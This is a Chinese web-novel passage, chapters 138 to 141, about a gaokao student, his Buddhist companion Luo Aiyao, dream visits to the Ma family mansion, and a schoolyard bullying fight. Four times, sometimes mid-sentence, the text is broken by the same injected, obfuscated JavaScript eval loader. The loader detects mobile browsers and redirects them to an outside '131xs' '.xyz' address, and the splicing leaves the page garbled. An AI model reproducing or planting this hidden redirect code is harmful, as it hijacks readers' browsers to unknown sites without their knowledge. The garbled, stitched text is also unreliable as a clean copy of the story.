施霜景晚饭时间才打开微信,何晓栋的嚎叫冲破手机。施霜景腾地站起来,罗爱曜面前的碗筷一震,不知道施霜景在兴奋什么。施霜景不怎么出门,天天在家补课,就不太能感受到厂里的氛围。施霜景当即就给何晓栋打去电话,对面何晓栋在厂里吃烧烤,和杨师傅介绍的其他面试通过的学徒一起唠嗑。施霜景恭喜何晓栋,何晓栋乐得找不着北,说自己否极泰来了,有时候只要多等一等就有希望,稀里糊涂说了一大堆,何晓栋说要给施霜景带烧烤,说完马上想起来施霜景才病愈,不方便吃这种街边小摊,便改口说过两天请施霜景吃饭,施霜景笑着将时间后延,等他拿到第一笔工资再请。 “别人找到工作你也这么开心?”罗爱曜于优雅进食的间隙问道。 “当然开心。而且厂里大量招工,附近就会热闹起来,很多店面就会重新启用,我们就不用动不动进城了啊。”施霜景乐,他刚才打工脑发作,想着会有很多店重新招工,隔了半秒他才想起,他现在又不用找临时工了。 “励光厂是个好地方,出成果的效率比其他地方高。这就是风水。” 罗爱曜说这话,有几分说给自己听的意思。他不能再躺平摆烂了。墙上佛龛空了多时,至今没有换新佛像上去。信徒手上的佛像倒是不需要替换,旧的还能用。罗爱曜正神游着给自己安排任务中,施霜景就催他吃饭,吃完才能洗碗,施霜景才是需要借点好风水考上大学的那个人! 这一日何晓栋好消息刚过,翻过一日,施霜景的二诊成绩出了,他竟然考了三百八十九! “老天,我只差七十分了。”施霜景难以置信,语文考得不错,有一百一十分出头,令他没想到的是,他的数学竟然也能考到七十多分……虽然他不得不承认,有两道选择题是他蒙对的,但谁说运气不是实力的一部分呢。 李婉萦甚是欣慰。当初罗爱曜拿着保分协议找她签,她请了律师同学仔仔细细地核对协议条款,确认学生就算没考上她也不用退还大部分费用,她这才答应给施霜景做保分的家教,一定把施霜景送进大学。罗爱曜给得多,李婉萦拿出十足的干劲来备课,也幸好施霜景不是纨绔爱玩的那类高中生,他成绩差不是因为不愿意学,是错过了时机。这当真是老天给李婉萦下钱雨,感谢老天。 半年时间,说长不长,说短不短,不论这回卷面难度如何,施霜景实打实提了一百多分,这还是他生了一场大病的情况下。李婉萦建议罗爱曜好好奖励一下施霜景,也趁热打铁,争取三诊之前结束所有复习,这样还能有差不多一个多月时间来做高考套卷练习。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622915|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晚上十点,施霜景合上他的错题本,结束今日的订正任务。是的,随着他的做题正确率上升,施霜景不需要再做对题本,因为施霜景渐渐适应了红勾。 “佛子哥,李老师让你奖励我一下。” “施霜景,从今天开始你不要叫我‘佛子’了。” “那叫你什么?喊名字吗?” “嗯。” 施霜景观察罗爱曜,罗爱曜拿着平板在沙发上半天没翻页,罕见地走神。佛子哥这是怎么了?施霜景收拾整理书桌,回厨房泡一杯罗爱曜惯喝的热茶,端过来替换了已经凉掉的一杯,他同时坐在罗爱曜身侧,以极近的距离再多观察罗爱曜几秒。 好像有了些头绪。施霜景问他:“罗爱曜,你是不是不高兴?” “没有。为什么会不高兴?” “那你是……焦虑?担忧?太累了?” “……” 青蓝色眼珠幽幽转过来,黑色瞳仁如深井一般,罗爱曜推开施霜景的脑袋:“去洗澡,早点休息。奖励的事明天再说。” “你怎么突然不让我叫你‘佛子’?我都叫习惯了,喊你大名好奇怪,可是喊你罗老师也很奇怪,毕竟我们还要睡一张床。” 罗爱曜欲要推开施霜景,下一回施霜景就会凑得更近,就像现在这样,施霜景以体重压回来,半个身体都倾靠在罗爱曜身上。罗爱曜甩不掉,站起身来施霜景又会摔,他无可奈何道:“我欠着很多活没干,你叫我‘佛子’像是提醒我做事。” “什么事?” “就是收拾法界的烂摊子。” “我能帮上什么忙吗?” “你让开。学了一天你不累么?” “累。我看你这几天都在想事情,以为你会想出个结果来,没想到是犯拖延症。罗爱曜,我问你,你有好好休息过吗?” “……” 施霜景笃定道:“冬天过去,春天来了,我们都要有新的开始。不管励光厂的风水如何,事情是要开始做才会有做完的那天。你说你不涅槃,我还是有点担心你。你不要把自己憋坏了,不然到时候我还是要像现在一样,问你到底发生了什么。早问比晚问好。” 罗爱曜被这倒反天罡的施霜景挤到沙发一侧,施霜景变本加厉,几乎是趴在了罗爱曜身上,仿佛罗爱曜不说,施霜景就不走了。 “说不说?”施霜景逼问。 “我搞不懂到底什么才算休息。我和你睡觉,这不算休息吗?你想让我怎么休息?” “我只知道人没有休息好的时候,就不会想做事。” “唉,我就当是给我自己放个假,搁置处理。” “可你脑子里一直在想。” 罗爱曜给施霜景的头发弄得发痒,毛茸茸的,施霜景整个脸都埋在罗爱曜胸前,时不时抬眼看向罗爱曜。恕罗爱曜不能给出答复,他的脑子里从来都是一直在想事情,不是人身就是法身。 忽然,罗爱曜感觉到施霜景正在摸他的腰间,甚至一路往下。 “做的时候会想吗?我用手,或者用腿帮你做。” 施霜景最近非常好学,趁机看了些小短片。他已经充分了解不插入的技巧了! 139.大智若愚篇(二) 像这样雨点不断的日子,施霜景睡得格外踏实。他会给所有房间的窗户都留一道小缝,空调也不需要再开一整夜了。一床棉被沉沉地压住两人一猫,玉米偶尔会发出吁声,是可爱版本的猫咪打呼。 整个漫长的冬日冒险已差不多画上句点。鬼子母神、旧神纪复森,以及施霜景全无参与的马家事件,这些冒险构成了施霜景对罗爱曜的佛子印象,但由于缺失了一环,施霜景对罗爱曜所面临的困境没有实感。罗爱曜换了一种方式邀请施霜景参与整件马家的事。罗爱曜说:“如果你的精力还可以应付,那我可以用三个夜晚来带你重新亲历现场。” 罗爱曜指的是梦。他要以梦的方式带施霜景去到那个西北草原腹地的诡奇大宅。 不去白不去!施霜景说自己心中完全没有怨怼,这也可能只是这分钟的蜜意掩盖掉了负面情绪。有解开心结的机会,看看罗爱曜到底忙什么去了,施霜景干嘛不去! 于是乎,梦境从他们在Q省边界见到□□歌开始,然后到达西宁,见到□□歌起乩。施霜景变成了罗爱曜身旁的幽灵,而幽灵施霜景身边还有一个幽灵罗爱曜,事件当中的罗爱曜反倒像个假人。 施霜景被马家大宅大门悬挂的红灯笼给阴得说不出话,幸好他没去,去了也只是整夜整夜睡不好觉,毕竟马家大宅一进深夜就变成马家天,马家的人要么闭眼一觉睡到天亮,要么就是半夜醒来,躲进大衣柜,却又被蚕茧一样的白丝裹得严严实实、密不透风。 罗爱曜略施小计,使施霜景看见罗爱曜法身所能见到的马家天,柱一般、塔一般的垂直结构,舞乐盛行。施霜景直打寒颤,评价道:“感觉他们会一直唱歌跳舞跳到死……看起来好像不会休息,他们难道不累吗?” 这一评价简直是直击了某种本质。对于天人来说,一直奏乐一直舞,不知年月与时辰,直把艺术变为了机械、刻板的供奉行为。天人赞佛,诵声万万年,也跟坐牢没区别。 施霜景还顺着光脉找到了躲在黑漆螺钿大柜里的马勤月,施霜景甚至能感觉到马勤月掌纹掬出的佛眼正滴溜溜地望向他。罗爱曜立在施霜景身后,给他提供安全感,也不停强调,这只是旧事重提。 正当这时,施霜景伸手揽住这长长的光脉,他发现自己竟能像搅起棉花糖丝那样,用自己的掌绕出白白的线球。他学着马勤月的手印,弯曲手掌,再观察自己的掌心,竟然也看到了那么一只佛眼。 罗爱曜道:“我觉得这光脉像是白绢线脉,即为密宗的‘眼脉’。但事后来看,这些脉又像是吸取马家人生命本源的命脉。马家的小孩就是在这样日日夜夜的顽皮中,将自己的性命与智慧都抽丝剥茧出来,献给看不见、摸不着的‘老祖’。” 施霜景松手,光脉溃散,徒留掌心一点黏黏腻腻的质感,就好像真是握过了眼球一般。施霜景说:“可我觉得这些感受都很具体,有线,有眼睛,有声音和舞蹈,就像真的一样。” “像真的一样?你为何会这么觉得?” 罗爱曜反倒把施霜景问懵了。他使用罗爱曜的记忆,难道不是因为罗爱曜的记忆很具体吗? 其实不然,在罗爱曜的观感里,他所经历的这些场景不能用“具体”来形容。那是一种独属于佛国中人的感官,不涉及有关“具体”或是“虚无”的评价,罗爱曜也找不到词来形容,这种体验本就超出了人类所能感知的范畴。但在施霜景的描述中,好像这些体验都落入了三维,或者说,在三维世界有了正确的投影,严丝合缝地嵌进了人类的世界。 罗爱曜会对维修自己的法界兴趣缺缺,但对研究施霜景很乐此不疲。 于是,在梦境第一晚结束的白天,施霜景打着哈欠去补课,罗爱曜便留在家中,端出那尊马头明王的小像,仔细地琢磨起来。 罗爱曜拒绝了大乘佛教的涅槃,马鸣菩萨示现接引,罗爱曜顺便也拒绝了马鸣菩萨。罗爱曜的密宗涅槃与人类的即身成佛略有出入,但总体而言,他都需要修建一座坛场,坛场是罗爱曜法界笼罩在现实世界的特殊场、暂时场。一座坛场最少需要四位护法神佛,此前罗爱曜已找到了鬼子母神与龙女。 马头明王像此时出现,什么信息也没留下。马头明王为密宗重要的护法明王,罗爱曜可以说此前从未与他有过交流。罗爱曜不确定马头明王是否能成为第三位护法。如果能成,这绝对是密宗涅槃的绝大助力,因为不论鬼子母神还是龙女,他们的护法资格都是罗爱曜施与的,而马头明王是“前辈”,不管罗爱曜存在与否,马头明王早就存在无数年了。 罗爱曜的本誓还剩下一小部分没用。如果罗爱曜能找到第四位护法,并且找到合适的短誓,那他仍旧有涅槃的希望。 这么讲讲是挺有希望的,可罗爱曜心思重,他要考虑以下几点:一,他得确定马头明王出现是愿意给他做护法的意思;二,他要找到第四位护法;三,找到合适的短誓;四,确保密宗涅槃不像大乘涅槃那样,神形俱灭,化为无色无相;五,如果涅槃会使施霜景遭受影响,例如本誓松动,施霜景再遭死难,那这也不可以考虑。 罗爱曜尤其不能接受旁人拿施霜景的死做文章。他知道施霜景是他的软肋,那既然有了软肋,被人一直捏是怎么个事?你知道我有软肋,你还不停地以软肋要挟我,本质其实是看我不顺眼,以软肋拿捏摆布我。罗爱曜内心对整理佛法的抗拒感也来自于此,一旦罗爱曜感觉到这种下马威、磋磨、甚至恶意,他就会立刻逆反,怀疑原定的目标是否虚假,这整个千年的修炼不过是一场漫长的折辱。 第二晚,罗爱曜一洗前日的泰然。在入睡前,罗爱曜让施霜景触摸这尊马头明王像。 “你说这尊佛像是从你的佛像里脱壳出来的?他就没有自己的佛像吗!”施霜景义愤填膺道。他掂了掂这尊小型佛像,重量倒是没什么问题。再打量这佛像造型,它与安然优雅的佛子像略有区别,马头明王呈獠牙怒目样,不知道在生什么气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629748|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我怀疑我在马家的那些日子里,一直是马鸣菩萨和马头明王交替地与我互动。” “然后呢?” “现在想来,确实有些诡异。像励光厂这么大的因果流转之地非常稀少,马家大宅可以算是另一个因果流转之地,面积小得多,只够修一间宅子。没道理两位菩萨和明王要挤在同一个地方,还轮替着骗那些马家人。” 施霜景理所当然道:“因为励光厂的地留给你了,他们就只能挤在草原里啊。” “??”这是什么逻辑?施霜景说得太过自然,以至于罗爱曜一瞬也被感染了这种思路,就好像励光厂真是早就预留给佛子罗爱曜的。 “等等,为什么会给我预留?谁会给我预留?”罗爱曜试图捡起脑子,以前都是他带着施霜景的思路往前飞驰,刚才他好像被调了个前后,掌舵的人成了施霜景。 施霜景睁大眼睛,荒唐道:“我就是随口一说,你搞得我都紧张了。你看,你这一千年都藏在S省的大山深处,藏得安安稳稳。现在有个专门的坛场地点为你预留,这说不定是你作为佛子的配套设施呢?” “配套设施……” 恕施霜景摸佛像摸不出个所以然来,他老老实实将佛像交还回去。罗爱曜原本的思路被悍然打断,他脑子里一直在轮播“配套设施”这四个大字。没想到有一天佛子也会暗自祈祷,他要是真那么幸运就好了。罗爱曜这一生除了本领很强之外,其他事都说不上顺利,久而久之,他便形成了这种偶尔给别人添堵的性格。 “罗爱曜,你为什么叫‘罗爱曜’?” “怎么突然问我这个问题?” “我在想,是施玉米好听,还是罗玉米好听。” 都不怎么样,硬要选一个的话——“施玉米。”罗爱曜毫不犹豫。 “还是我的姓氏比较好听。”施霜景认可地晃晃脑袋。 “我的姓名没有意义,只是一个指代,意思为‘神圣、高贵的佛子’。”罗爱曜点开手机,打出几个字母,为梵语的字母转写,“‘罗’取自释迦牟尼佛与耶输陀罗的独生子罗睺罗。‘罗睺’单成一个词语,也是一种阿修罗,所以我取后一个罗字,就当同时取了罗睺罗和避讳罗睺。” 随后,罗爱曜又点出备忘录和画笔,直接描出梵文:“‘爱曜’这个名字取自一个再简单不过的梵文词,写作????,读作ārya,是形容词也是名词,也常做复合词的词首。这是个很随便的词,却是我的名字。” 罗爱曜露出落寞表情,施霜景膝行到罗爱曜身边,双手捧起罗爱曜的脸,仔仔细细欣赏罗爱曜受伤难言的神情,这直勾勾的欣赏姿态让罗爱曜不好意思继续装了,罗爱曜说:“ārya这个词非常佛教、非常高尚、非常圣严,是个很大的名字。” “也是个很好听的名字。这年头谁会用‘爱’当名字啊?” “我身为密宗佛子,离垢爱染,暗曜同光。名字好听很正常。” 140.大智若愚篇(三) 第二晚,施霜景入梦,罗爱曜请他帮一个忙:“帮我留意一下马头明王的线索。” 施霜景不知道具体会是怎样的线索,只能打起十二分的注意,发挥自己的直觉。 梦中,施霜景每次看罗爱曜假扮“卓逸纶”,都不禁觉得罗爱曜未免太爱演。自称是施霜景的舅舅,时不时把施霜景和佛子搬出来吓唬□□歌,每每看到这样的桥段,施霜景就会微微地乜一下罗爱曜,罗爱曜满不在意,怡然自得。在梦里很容易区分罗爱曜和卓逸纶,罗爱曜是蓝眼,卓逸纶是黑瞳,而且梦里的人是不会与梦境本身相互干涉的。 看到马家男孩说“杀爸爸,请客人”的时候,施霜景望向正在呕吐的□□歌。□□歌双目圆睁,微微外突,面若红盘,吐得神志不清、青筋暴起。罗爱曜则是暂停了这一场景,迈步环绕卓逸纶和他所牵住的两个小孩。 这一举措细致得像是查案。 施霜景隐约感觉有些不对劲,可其中微妙又很难被语言形容,找来找去没找到证据。为了确保自己对马头明王和马鸣菩萨有正确的区分,施霜景再问了罗爱曜一遍。 “我曾经不确定马鸣菩萨是否已位列佛国,这回我确认他已经是了。马鸣菩萨乘白马,为菩萨善相。你对佛教不了解,马鸣菩萨活跃时期比龙树菩萨更早,以辩法、作诵为声名。你如果看到一个文气的菩萨,那应该是马鸣菩萨。马头明王则相反,作怒目恐怖的明王相,他主降妖伏魔,所以眼神敏锐,手上法器有杵、杖或是索。明王是佛的教令轮身,佛生气了便成明王。所以一个慈眉善目,一个气势汹汹,二者气质差别很大。” 原来全靠感觉。施霜景记住了。怒目明王,施霜景仔细回忆那尊马头明王小像,总感觉说不出的熟悉。 “弟弟说,要杀了爸爸请你吃,你要是吃了会怎样?这会不会是马头明王示现的条件?”施霜景恨不得拿一个小本本把想法都记下来,等出了梦境再问罗爱曜。可惜根本没有这样的小本本,想到只能马上问出口。 “啖食血肉么?这确实有可能。可到底是佛门密宗,我们不会无缘无故送人作食粮。好吧,我也承认,我不想吃□□歌,他看起来就不好吃。” 然后施霜景便看见罗爱曜赠与女孩诃梨勒,让她搜集马家人的血,以服用结出的诃梨勒来达到与马鸣菩萨沟通的目的。 在马家人大部队到来的前几日,罗爱曜调查过一轮,没发现明显的指示或痕迹。施霜景会被马家天的伎乐搞得很烦心,吹拉弹唱的,乍一听是佛音喜悦,听久了像某种恐怖情节的背景音,愈是好听的旋律,在配合诡异怪奇的场景时就愈是骇人。施霜景嘀咕道:“□□歌从‘杀爸爸’那句话之后就一直在生病么?他没有出过门?” “确实没有。马家人抵达大宅时,只见到孙渺渺和两个孩子迎客。” “唔,罗爱曜,你从马家大宅赶回来,专心地救我……那马家人呢?□□歌一家现在怎么样了?” 这下真是再也不能说施霜景笨。施霜景比较擅长以人的关系来推想事件,罗爱曜则是太过理性,注重当时当下的证据与经验。罗爱曜一天之内从草原赶回D市,马不停蹄地救施霜景,救完以后,精神与驱动力崩塌得厉害,竟然也没多问几句马家人的情况。罗爱曜只有推论,却忘了实践。 第二晚的梦让施霜景好累,瞪大眼睛,不放过每一个细节,可其实马家大宅很难藏一个明王一般的存在,就算有,也应该藏得很好。搞不懂。而且马头明王呈怒面,他在生什么气呢?降妖伏魔,施霜景也没听过罗爱曜提有关“魔”的事。 白天,施霜景补课刷题,罗爱曜试探道:“如果我现在出门去找柳闻斌,你会不自在么?” “有点。” 施霜景似乎有些犯分离焦虑,加上很明目张胆的双标。施霜景需要知道罗爱曜在家。二诊结束那天,施霜景和同学聚餐,这时他就不会犯分离焦虑,因为他确定罗爱曜在家等自己。一旦情形反过来,是施霜景在家等罗爱曜,那他就会情不自禁冒冷汗,即便罗爱曜只是开车去菜鸟驿站取快递。 “想吃什么,我让柳闻斌带过来。” “别老折腾柳哥。” “你叫他‘哥’,岂不是连带我的辈分也低了一级。” “放心,你在他心里永远是他的佛爷爷。” 李婉萦在厨房切香瓜,听二人的对话实在太想笑。她调整表情,要专业。李婉萦端出一盘香瓜,问罗爱曜要不要吃,罗爱曜摇头回房间。李婉萦给施霜景十分钟休息时间,吃香瓜清爽清爽脑子。 罗爱曜回屋给柳闻斌打电话,柳闻斌点开免提,听佛子说了前因后果,柳闻斌一拍大腿:“这不巧了么!佛子,我现在要先去接一位客人,她通过我家白事店订了两具棺材和两场白事村宴,花了六位数呢。她想来励光厂转转,我来找您,顺便把她送来励光厂。” 柳闻斌要见的客人是位极为美丽的女人,做调查记者的,老家在S省南部靠近风景区的一个小村。客人名为周辛楣。周辛楣的母亲病重,她提前做好准备,这无可厚非,不过现在就把父亲的棺材也一并定下,柳闻斌感觉这疏离冷淡的大美女确实百无禁忌。 “励光厂到了。周女士您注意安全,要是有什么问题再打电话给我,我下午都在励光厂。” “柳老板,我听说去年年底的时候,这厂里有许多老人去世,这事是真的么?” 柳闻斌心里瞬间警惕,脸上笑呵呵:“这要去看新闻、问警察吧,干嘛问我?” “就是因为没有新闻,我才觉得古怪。我听同事提起这件事,她是励光厂出来的厂三代,请假奔丧回来之后提了一嘴,我觉得恐怖,她却像没事人一样。” “周女士啊,有些事情可以查,有些事情不可以深究嘛。这个道理我们出来上班的人都懂,别难为我啊。棺材交付时间和村里流水席都按合同来,有事您还可以打电话给我老婆。” 柳闻斌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629749|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送走周辛楣,心道怎么又来个祖宗,别是来坏佛子事的吧?幸好之后柳闻斌从未听佛子或施霜景提过这号人,看来她就是单纯来励光厂采风罢了。 柳闻斌从后备箱提出两只杀好的走地鸡当伴手礼,空手不上门。施霜景赶紧把两只生鸡塞进冰箱,并表示他还在补课,就不招待柳闻斌了。罗爱曜与柳闻斌在三楼谈话。 “佛子,你算是问对人了。当时马家的司机把我们送到西宁机场,我们没空多聊,第二天你和小景报平安,马家司机也来了消息,说大家竟然都自行离开了……你记不记得我们离开马家大宅时,马家停车场都停满了,车牌天南地北,哪儿都有。司机第二天带上人一起去马家大宅,生怕遇见什么事故讲不清楚,还犹豫要不要报警。他一到马家,发现门口那些车全开走了,一辆也不剩。” “那□□歌一家呢?” “不清楚。司机带人翻墙进马家大宅,好像早已人去楼空了。佛子,你不会还要去马家吧?” “不必,马家邪性,就连我去了也会中招。小景身体刚好,我不想走。” 柳闻斌搜肠刮肚,回忆还有没有什么事情没向佛子讲过。哦,还有这个。柳闻斌将施霜景父亲的墓地地址告诉罗爱曜,再次询问罗爱曜的意见,到底要不要给施霜景父亲找个风水宝地,说不定还能祖坟冒青烟,保佑施霜景高考顺利呢? 罗爱曜只觉搞笑,跑来他面前讲“保佑”,简直是班门弄斧。 施霜景做生物题,画谱系图,算遗传概率。黑笔渐渐不出墨了,施霜景将书包从地上拎到膝上,找笔芯。摸探之间,施霜景忽然久违地摸到那把冷铁。 他掏出那把金刚杵,回忆涌上心头。他用金刚杵抵抗鬼子母神的饿鬼子嗣,跟踪庄晓时摸出金刚杵防身……等等,怪不得施霜景觉得马头明王的怒目相有些熟悉,看佛像尤其。如今施霜景手上的金刚杵呈双头宝塔型,圆润对称,更像是仪式用法器。不是这个版本。施霜景将金刚杵藏进卫衣,假装去上厕所,便带着金刚杵进了浴室。 施霜景分明记得这金刚杵还有另一种形态,一头是怒目金刚,另一头是尖尖的三棱刺,很有杀伤力。施霜景忘记当初他是如何操作才让金刚杵更换形态,是拜托它么?拜托!虽然现在没有危险,但是我只想验证一下我的记忆。施霜景双手捧金刚杵,静静等候变幻。 三分钟后,施霜景放弃,尿遁时间已到。 回到桌前,李婉萦抬头,朝施霜景比了个大拇指:“这题的谱系图画得非常好,你算完这道遗传概率,我们做个生物小测?” 李婉萦现在有意识地训练限时考,让施霜景养成高考的时间习惯,例如九十分满分的生物应该在半小时左右完成。施霜景没有同班同学的压力,复习心态较为轻松,这时增加考试也可以为他紧一紧神经。 半小时后,李婉萦收卷子,判分。 “不错啊,施霜景,你生物能拿六十分了,这是高考真题。” 141.大智若愚篇(四) “罗爱曜,我生物能考六十分了。” 施霜景往汤锅里丢参片的时候,他对餐桌前正在办公的罗爱曜这样说道。 “佛……罗爱曜,我生物能考六十分呢!” 施霜景埋头证立体几何的时候,忽然回头对沙发上正在看新闻重播的罗爱曜这样说道。 “罗爱曜,我生物……” “能考六十分。我听见了。可是你的物理只有四十分,你可以在生物上再多考二十分来填物理的分差。” “……” 施霜景盛汤,加了参片、红枣的鸡汤颜色澄亮,乌鸡是整只炖的,一撕就脱了骨。柳闻斌不仅送了两只走地乌鸡,还顺带送了礼盒装的中药材,这几日正逢降温,柳闻斌说加点参片补一补,发发汗,到夏天可就吃不了这热性的了。 高考生的日常就是这般无聊。睁眼学,闭眼睡。施霜景算好的了,还能请家教。励光厂高中有大约一半的学生走读,剩下一半住校,他们的晚自习下课时间甚至比走读生更晚。十年多前励光厂高中管得太严,想要强制全体学生住校,后面闹出了事故,校方担不起责任,又放弃了这一打算。张国强至今还认为,励光厂高中没发展起来就是因为没有强制住校,没有把每一分每一秒都利用起来,走读生把氛围搞得松松散散。家长和张国强在家长会对骂,说我把小孩送进这里不是为了让你们把小孩逼成神经病,张国强回说有你这样的妈所以你小孩连个大专都考不上。后来这些矛盾怎么消散的,答案只有风知道。兴许这些矛盾从来都没有消散过,大家都累了。 “佛子,这一轮复习过完,我还是想回学校上课。”施霜景道。他与罗爱曜喝鸡汤当夜宵,玉米急得团团转,它好想吃鸡肉。施霜景怕小猫不受中药材的补,不给它吃这些,开个零食罐头当补偿。 罗爱曜只喝汤不吃肉,回道:“我本来就是这么打算的。你最终还是需要同龄人陪你一起学才行。” “我九点过才下晚自习,那我可以拿题回来问你吗?” “当然可以。” “那李老师就变成周末来讲题?学校现在周六下午放假,周日晚上回去上晚自习。” “嗯,她可以周日上午来。” 这下很有高考的实感了。施霜景终于意识到,自己能在家补课是多么难得的一件事。一对一家教是老师围着学生转,但回到班级里,施霜景就要找到自己的复习道路。 二诊过后没多久,励光厂高中月考,施霜景久违地出现校园里。走廊上同学们抓紧时间看错题本、背公式,施霜景也找了角落,翻出自己的笔记,临时抱佛脚。 正在这时,几位男学生挤开班上同学,一并围住施霜景,将施霜景堵在走廊尽头。很可惜施霜景长得高,一米八的净身高,再穿双运动鞋,个子不论如何也够用了,施霜景像人群之中的中指,突兀得有些滑稽。这些男学生里,有两位是施霜景的同班同学,其他四五位施霜景都不认识。 “施霜景,考完试在小卖部旁边等我们,我们有事情找你。” 我信你个鬼。施霜景将笔记本装回书包,再将书包背在身后:“有什么事情现在就说。我没钱。” 男学生哄笑作一团,同班男生皱起张丑脸,怪腔怪调道:“真的要在这里说?哦哟,施霜景好了不起,施霜景吃鸡鸡。是你要我们在这里说的,我们本来还想给你留点面子。” 施霜景翻白眼,他差点忘了这茬。他和罗爱曜在厂里同居,现在才传出这些事已经算晚了。他懒得和这些人计较,还有十五分钟考试开场,已经有许多同学把书包留在走廊的桌椅上,进教室准备了。 “搞哪样嘛?来不来?” “没空。” “完咯,他不睬我们。你有本事就一直在屋头补课嘛,来学校做啥子?” 施霜景满脑子都是导数题第一问的惯用公式,这门要考数学,施霜景是真的很想在数学这门学科上有所突破,罗爱曜亲手教的科目,他想拿自己的及格分数天天在罗爱曜面前念叨,烦死罗爱曜。 这几位男学生倔得要命,施霜景不回话,他们也流里流气地一直堵着施霜景,直到监考老师来赶人,施霜景才将书包塞进书包堆,拎着笔袋进教室。 一百二十分钟考试结束,学生们鱼贯而出,月考的日子反倒轻松,他们可以悠闲地回家吃个晚饭,之后再回来上晚自习。施霜景排在队伍末尾,想着晚上要吃炸鸡,可一出门就发现自己的书包不见了。 施霜景天灵盖一凉,他的数学笔记和错题本都还在书包里,以及那把他一直放着当心理安慰的金刚杵。施霜景赶紧寻找,眼神越过一个个仿佛背负龟壳的学生,他想看看有没有人穿错了龟壳——书包这种东西怎么会搞丢!从楼上找到楼下,再从楼下找到楼上,施霜景傻眼。 没办法,施霜景只能去保卫室找保安,问能不能调监控记录。保安听说学生的书包丢了,熟练地找到施霜景教室所在的楼层,走廊的尽头正巧装了摄像头,施霜景报出具体时间,只要看考试这两个小时就好。 时间轴比较富余,保安往前拖了拖,看见施霜景被几个男学生团团围住。施霜景还没说什么呢,保安就说:“又是这几颗狗屎,遭他们盯上真是踩到屎了。”保安开快进,果然,在考试结束前二十分钟,一位隔壁班的男学生提前交卷,躬身窜至施霜景班级外,鬼鬼祟祟地翻找一阵,然后偷走了施霜景的书包。这位男学生正是方才围堵施霜景的学生之一。 保安说这几个男孩总干这种事,家长都来过好几回了,没用,家长管不了,老师也帮不了,每次干这种事纯粹是为了恶心人,他们不要钱,也不揍人,搞得学校真是一点办法都没有,连小过都没办法记上。 施霜景强压怒火,感谢了保安,出校门后径直往小卖部走去。小卖部旁有一道小巷,那些店面早已寥落了,小巷两侧的居民也不多。 很快,施霜景便看见那些男学生在掏他的书包玩,将他的书包倒翻过来,抖落一地书本杂物。他们见到施霜景,还大笑道:“我们在找这个东西,你竟然都不带吗?”那些男生重复着戴避孕套的动作。 “你们到底要干嘛?”施霜景一捋额发,不耐烦道。 “不干嘛,就是无聊。你真的和男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629750|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的同居乱搞?这么饥渴,也不晓得找我们这些同学开开张。还有,地上这是什么东西,这么迷信?” “你叫什么来着……算了,这不重要。”施霜景靠近,男学生见状就将脚悬在施霜景的笔记本上,施霜景冷淡道,“你们是其他县来的学生吧?” “关,你,屁,事。” “我要是把你们揍了,我就会被你们讹上。我要是现在掏钱给你们,你们就还会有下次。我要是转身去找老师或者找警察,你们就会趁机毁坏我的书包和笔记。”施霜景的语气不带一丝感情,“你们拿我取乐,但你们也知道我不是个有趣的人。要是你们今天没想好找我是干什么,可以明天再来。” 说罢,施霜景俯身捡拾自己的水壶,并打算就这样把散落的东西一件件捡起来。一只脚落在施霜景的笔记本上,施霜景抬头确认是谁,朝对方的腰间就是一脚,直踹得对方尾椎骨落地,一时间疼得站不起来。 施霜景二话不说,几步迈至这人身前,拎起他衣领,只用极大的手劲不停地摇晃他,男学生被刚才那一脚给踢懵了,现在又遭这么晃荡,登时头晕眼花,叫苦连连,脏话狂飙。这是施霜景的同班同学,时不时会在晚自习结束后找施霜景打秋风,可惜施霜景从来都没钱。 施霜景拎着这同学,只一旋身,好像把手中这人当沙包一样,用这人的后背不停去撞击其他男学生,直撞得其他人歪七扭八,有两个人还摔了。施霜景说:“吴天宇,其他人惹我,是他们没在励光厂生活过,他们无知,我不和他们计较。你知道我的事,我也知道你的事。其他人有爹有妈,我不能揍,但你爹妈不管你,去外地打工,十年不回来——你和他们混在一起,你何必呢?别怪我挑软柿子捏,我没爹没妈没素质。” 